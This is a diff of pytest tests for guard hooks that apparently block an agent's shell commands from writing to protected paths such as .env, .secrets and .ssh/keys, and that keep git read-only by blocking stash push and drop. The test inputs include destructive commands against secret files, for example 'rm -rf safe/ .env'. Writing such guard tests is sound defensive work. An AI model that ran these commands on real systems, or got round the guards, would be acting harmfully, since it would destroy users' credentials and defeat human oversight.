- assert is_protected is True, ( - f"Expected '{expected_target}' to be protected" + assert is_protected is True, f"Expected '{expected_target}' to be protected" + assert message != "" + + +# --------------------------------------------------------------------------- +# Multi-target extraction +# --------------------------------------------------------------------------- + + +class TestMultiTargetExtraction: + """Commands with multiple file operands should check all targets.""" + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("rm safe.txt .env", ".env"), + ("touch a.txt .secrets", ".secrets"), + ("chmod 644 safe.txt .env", ".env"), + ("rm -rf safe/ .env", ".env"), + ("mkdir safe_dir .ssh/keys", ".ssh/keys"), + ], + ids=[ + "rm-multi-catches-env", + "touch-multi-catches-secrets", + "chmod-multi-catches-env", + "rm-rf-multi-catches-env", + "mkdir-multi-catches-ssh", + ], + ) + def test_multi_target_extracts_protected(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets, ( + f"Expected '{expected_target}' in extracted targets {targets}" ) + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("rm safe.txt .env", ".env"), + ("touch a.txt .secrets", ".secrets"), + ("chmod 644 safe.txt .env", ".env"), + ], + ids=[ + "rm-blocks-env", + "touch-blocks-secrets", + "chmod-blocks-env", + ], + ) + def test_multi_target_blocks_protected(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets + is_protected, message = guard_protected_bash.check_path(expected_target) + assert is_protected is True assert message != "" @@ -324,6 +374,5 @@ def test_exception_causes_exit_code_2(self): text=True, ) assert result.returncode == 2, ( - f"Expected exit code 2, got {result.returncode}. " - f"stderr: {result.stderr}" + f"Expected exit code 2, got {result.returncode}. stderr: {result.stderr}" ) diff --git a/tests/plugins/test_guard_readonly_bash.py b/tests/plugins/test_guard_readonly_bash.py index 74e05ad..02d5472 100644 --- a/tests/plugins/test_guard_readonly_bash.py +++ b/tests/plugins/test_guard_readonly_bash.py @@ -324,3 +324,28 @@ class TestGitReadonlyAllowed: ) def test_readonly_commands_allowed(self, cmd: str) -> None: assert_allowed(guard_readonly_bash.check_git_readonly(cmd), cmd) + + +# --------------------------------------------------------------------------- +# 10. check_git_readonly - global flags with stash subcommand +# --------------------------------------------------------------------------- + + +class TestGitReadonlyGlobalFlagsStash: + """Ensure git global flags (-C, etc.) don't break stash sub-action detection.""" + + def test_stash_list_with_global_flag_allowed(self) -> None: + cmd = "git -C /some/path stash list" + assert_allowed(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_stash_show_with_global_flag_allowed(self) -> None: + cmd = "git -C /some/path stash show" + assert_allowed(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_stash_push_with_global_flag_blocked(self) -> None: + cmd = "git -C /some/path stash push" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + + def test_stash_drop_with_global_flag_blocked(self) -> None: + cmd = "git -C /some/path stash drop" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd)